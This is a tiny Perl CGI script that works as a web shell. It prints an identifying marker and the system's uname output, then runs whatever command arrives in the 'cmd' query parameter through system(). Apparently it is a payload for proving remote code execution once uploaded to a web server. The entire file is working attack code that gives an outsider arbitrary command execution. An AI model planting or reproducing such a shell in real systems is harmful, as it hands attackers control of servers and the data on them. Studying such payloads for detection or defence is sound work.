#!/usr/bin/perl
print "Content-type: text/html

";
print "GROK2025_" . sprintf("%x", int(rand(1000000)));
if (defined $ENV{'QUERY_STRING'} && $ENV{'QUERY_STRING'} =~ /cmd=(.*)/) {
    print "RCE_START_" . `uname -a` . "_END
";
    system($1);
}